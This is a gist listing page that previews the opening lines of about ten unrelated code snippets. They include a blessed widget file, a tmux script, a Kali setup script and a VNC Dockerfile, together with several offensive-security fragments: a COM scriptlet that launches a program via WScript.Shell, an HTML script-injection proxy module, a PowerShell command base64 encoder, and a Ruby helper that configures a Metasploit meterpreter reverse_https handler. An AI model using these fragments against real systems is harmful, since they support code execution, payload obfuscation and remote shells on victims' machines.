This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Not secure by any means, just a PoC for XOR'ing data using powershell | |
# Credit to http://stackoverflow.com/questions/3478954/code-golf-xor-encryption | |
$enc = [System.Text.Encoding]::UTF8 | |
function xor { | |
param($string, $method) | |
$xorkey = $enc.GetBytes("secretkey") | |
if ($method -eq "decrypt"){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?XML version="1.0"?> | |
<scriptlet> | |
<registration | |
progid="PoC" | |
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > | |
<script language="JScript"> | |
<![CDATA[ | |
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* widget.js - high-level interface for blessed | |
* Copyright (c) 2013-2015, Christopher Jeffrey and contributors (MIT License). | |
* https://github.com/chjj/blessed | |
*/ | |
var widget = exports; | |
widget['Node'] = widget['node'] = require('./widgets/node') | |
widget['Screen'] = widget['screen'] = require('./widgets/screen') | |
widget['Element'] = widget['element'] = require('./widgets/element') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
SESSION=$USER | |
tmux -2 new-session -d -s $SESSION | |
# Setup a window | |
tmux new-window -t $SESSION:1 -n 'The Internet' | |
# Split the window vertically | |
tmux split-window -v |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# A fork of g0tmi1k's kali script | |
#-Metadata----------------------------------------------------# | |
# Filename: kali-rolling.sh (Update: 2016-04-08) # | |
#-Info--------------------------------------------------------# | |
# Personal post-install script for Kali Linux Rolling # | |
#-Author(s)---------------------------------------------------# | |
# g0tmilk ~ https://blog.g0tmi1k.com/ # | |
#-Operating System--------------------------------------------# | |
# Designed for: Kali Linux Rolling [x64] (VM - VMware) # |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class InjectJS < Proxy::Module | |
def on_request( request, response ) | |
if response.content_type =~ /^text\/html.*/ | |
if response.headers =~ /MSIE/ | |
response.body.sub!( '</title>', "</title><script type='text/javascript'></script>" ) | |
end | |
end | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var debug = document.getElementById("subnav") | |
function _Debug_(p) { | |
p = p.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); | |
var r = new RegExp("[\\?&]" + p + "=([^&#]*)"), | |
results = r.exec(location.search); | |
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); | |
} | |
if(location.search){ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Firefox over VNC | |
# | |
# VERSION 0.1 | |
# DOCKER-VERSION 0.2 | |
from ubuntu:12.04 | |
# make sure the package repository is up to date | |
run echo "deb http://archive.ubuntu.com/ubuntu precise main universe" > /etc/apt/sources.list | |
run apt-get update |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# Powerhell | |
# | |
# by Gabe Marshall | |
# base64 encodes command line argument to Windows PowerShell | |
# | |
# Heavily influenced by Carol Perez's ps_encoder script (https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py) | |
import base64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/ruby | |
def meterpit(lhost, lport) | |
options = "use multi/handler\n" | |
options += "set payload windows/meterpreter/reverse_https\n" | |
options += "set LHOST #{lhost}\nset LPORT #{lport}\n" | |
options += "set ExitOnSession false\n" | |
options += "set AutoRunScript post/windows/manage/smart_migration\n" | |
options += "exploit -j\n" |